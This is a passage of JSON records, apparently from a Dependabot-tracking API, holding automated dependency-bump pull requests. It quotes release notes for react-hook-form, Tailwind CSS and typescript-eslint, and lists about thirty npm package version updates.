lang=\"tsx\"\u003e\u003ccode\u003esetValue(\u0026quot;firstName\u0026quot;, \u0026quot;Bill\u0026quot;, {\r\n  delayError: 500, // delay validation error updates by 500ms\r\n  shouldValidate: true\r\n});\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e⚡ \u003cstrong\u003eperf:\u003c/strong\u003e improve \u003ccode\u003egetDirtyFields\u003c/code\u003e performance (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved dirty field calculation, especially for larger forms and deeply nested values.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e expose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst { resetDefaultValues } = useFormContext();\r\n\u003cp\u003eresetDefaultValues();\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e \u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e now correctly updates dirty state when the form is disabled (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13594\"\u003e#13594\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e preserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13586\"\u003e#13586\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e restore \u003ccode\u003eFieldArray\u003c/code\u003e component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\n🧪 \u003cstrong\u003etest:\u003c/strong\u003e migrate test suite to Playwright and improve \u003ccode\u003edelayError\u003c/code\u003e test reliability (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ethanks to \u003ca href=\"https://github.com/candymask0712\"\u003e\u003ccode\u003e@​candymask0712\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wanxiankai\"\u003e\u003ccode\u003e@​wanxiankai\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/a-y-ibrahim\"\u003e\u003ccode\u003e@​a-y-ibrahim\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ankit1324\"\u003e\u003ccode\u003e@​ankit1324\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/abnud11\"\u003e\u003ccode\u003e@​abnud11\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/blob/master/CHANGELOG.md\"\u003ereact-hook-form's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[7.82.0] - 2026-07-18\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOpt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e to delay validation error updates\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e not updating dirty state correctly when the form is disabled\u003c/li\u003e\n\u003cli\u003ePreserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields\u003c/li\u003e\n\u003cli\u003eRestore \u003ccode\u003eFieldArray\u003c/code\u003e component export\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove \u003ccode\u003egetDirtyFields\u003c/code\u003e performance, especially for larger forms and deeply nested values\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/553d2906476fc2573fb0b18c3a895f72b46f0bb9\"\u003e\u003ccode\u003e553d290\u003c/code\u003e\u003c/a\u003e 7.82.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2791e4f6bb1ecfc2de02a0bf37d4e5a3225fb01c\"\u003e\u003ccode\u003e2791e4f\u003c/code\u003e\u003c/a\u003e 🐞 fix: prevent stale _setValid() calls from overwriting isValid/isValidating ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/521adfcbd7e6c99e0253af574006c6e26077887b\"\u003e\u003ccode\u003e521adfc\u003c/code\u003e\u003c/a\u003e 🤦🏻‍♂️ fix: expose resetDefaultValues through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2f7c1c5cdf57cc9185554542f8118fdbf382032a\"\u003e\u003ccode\u003e2f7c1c5\u003c/code\u003e\u003c/a\u003e 🤧 fix FieldArray component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/937828856fc5bab74a61b5eba03de248c4aca20b\"\u003e\u003ccode\u003e9378288\u003c/code\u003e\u003c/a\u003e 🐞 fix \u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13592\"\u003e#13592\u003c/a\u003e setValue with shouldDirty not marking dirty state when form is d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/65599cce839bfdf5c90017de2d1e44da98754beb\"\u003e\u003ccode\u003e65599cc\u003c/code\u003e\u003c/a\u003e 🚗 perf: improve get dirty fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/142f2994a13e726cbaa3bdb8b62bc82e6cc7efcd\"\u003e\u003ccode\u003e142f299\u003c/code\u003e\u003c/a\u003e 🖲️ chore: upgrade pnpm to v11 (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13587\"\u003e#13587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/673aae44ee2fb6f9d1c8c403d8e659a278a7194c\"\u003e\u003ccode\u003e673aae4\u003c/code\u003e\u003c/a\u003e 🤖 build(deps-dev): bump vite from 5.4.11 to 6.4.3 in /app (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13534\"\u003e#13534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/11bd6df899a6bd157a241e6d7310af7132d9e86a\"\u003e\u003ccode\u003e11bd6df\u003c/code\u003e\u003c/a\u003e 🥗 migrate to playwright \u0026amp; fix delay error feature (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/95da27a959855b92b9e07ed7e80ddd0f4b0c08a9\"\u003e\u003ccode\u003e95da27a\u003c/code\u003e\u003c/a\u003e ⏳ feat: add opt-in delayError option for setValue (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/react-hook-form/react-hook-form/compare/v7.81.0...v7.82.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tailwindcss/vite` from 4.3.2 to 4.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/vite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/vite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.3] - 2026-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/c2b24dd15fed1c59dd521bd86082f520c9f5ad0d\"\u003e\u003ccode\u003ec2b24dd\u003c/code\u003e\u003c/a\u003e 4.3.3 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-vite/issues/20334\"\u003e#20334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/bdcd7087b332d263353d46ed366b7b08040ded7a\"\u003e\u003ccode\u003ebdcd708\u003c/code\u003e\u003c/a\u003e Don't trigger a full page reload for scanned files that Vite processes as mod...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.3/packages/@tailwindcss-vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.64.0 to 8.65.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.65.0\u003c/h2\u003e\n\u003ch2\u003e8.65.0 (2026-07-20)\u003c/h2\u003e\n\u003ch3\u003e🚀 Fe...\n\n_Description has been truncated_","html_url":"https://github.com/cordum-io/cordum/pull/401","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/cordum-io%2Fcordum/issues/401","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/401/packages"}},{"old_version":"8.5.19","new_version":"8.5.20","update_type":"patch","path":null,"pr_created_at":"2026-07-20T22:15:15.000Z","version_change":"8.5.19 → 8.5.20","issue":{"uuid":"4933512089","node_id":"PR_kwDORqKxVc70FC5J","number":159,"state":"open","title":"chore(deps): bump the production-dependencies group with 30 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-20T22:15:15.000Z","updated_at":"2026-07-20T22:18:51.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"production-dependencies","update_count":30,"packages":[{"name":"@radix-ui/react-accordion","old_version":"1.2.16","new_version":"1.2.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-aspect-ratio","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.2.2","new_version":"1.2.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.7","new_version":"1.3.8","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-collapsible","old_version":"1.1.16","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-context-menu","old_version":"2.3.3","new_version":"2.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.20","new_version":"2.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-hover-card","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.11","new_version":"2.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-menubar","old_version":"1.1.20","new_version":"1.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.18","new_version":"1.2.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.12","new_version":"1.1.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-radio-group","old_version":"1.4.3","new_version":"1.4.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.14","new_version":"1.2.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slider","old_version":"1.4.3","new_version":"1.4.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.17","new_version":"1.1.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toast","old_version":"1.2.19","new_version":"1.2.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.14","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle-group","old_version":"1.1.15","new_version":"1.1.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.12","new_version":"1.2.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@tanstack/react-query","old_version":"5.101.2","new_version":"5.101.3","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-query-devtools","old_version":"5.101.2","new_version":"5.101.3","repository_url":"https://github.com/TanStack/query"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.19","new_version":"8.5.20","repository_url":"https://github.com/postcss/postcss"},{"name":"react-hook-form","old_version":"7.81.0","new_version":"7.82.0","repository_url":"https://github.com/react-hook-form/react-hook-form"}],"path":null,"ecosystem":"npm"},"body":"Bumps the production-dependencies group with 30 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.16` | `1.2.17` |\n| [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-aspect-ratio](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/aspect-ratio) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.2.2` | `1.2.3` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.7` | `1.3.8` |\n| [@radix-ui/react-collapsible](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/collapsible) | `1.1.16` | `1.1.17` |\n| [@radix-ui/react-context-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/context-menu) | `2.3.3` | `2.3.4` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.20` | `2.1.21` |\n| [@radix-ui/react-hover-card](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/hover-card) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.11` | `2.1.12` |\n| [@radix-ui/react-menubar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/menubar) | `1.1.20` | `1.1.21` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.18` | `1.2.19` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.12` | `1.1.13` |\n| [@radix-ui/react-radio-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radio-group) | `1.4.3` | `1.4.4` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.14` | `1.2.15` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-slider](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slider) | `1.4.3` | `1.4.4` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.3.3` | `1.3.4` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.17` | `1.1.18` |\n| [@radix-ui/react-toast](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toast) | `1.2.19` | `1.2.20` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.14` | `1.1.15` |\n| [@radix-ui/react-toggle-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle-group) | `1.1.15` | `1.1.16` |\n| 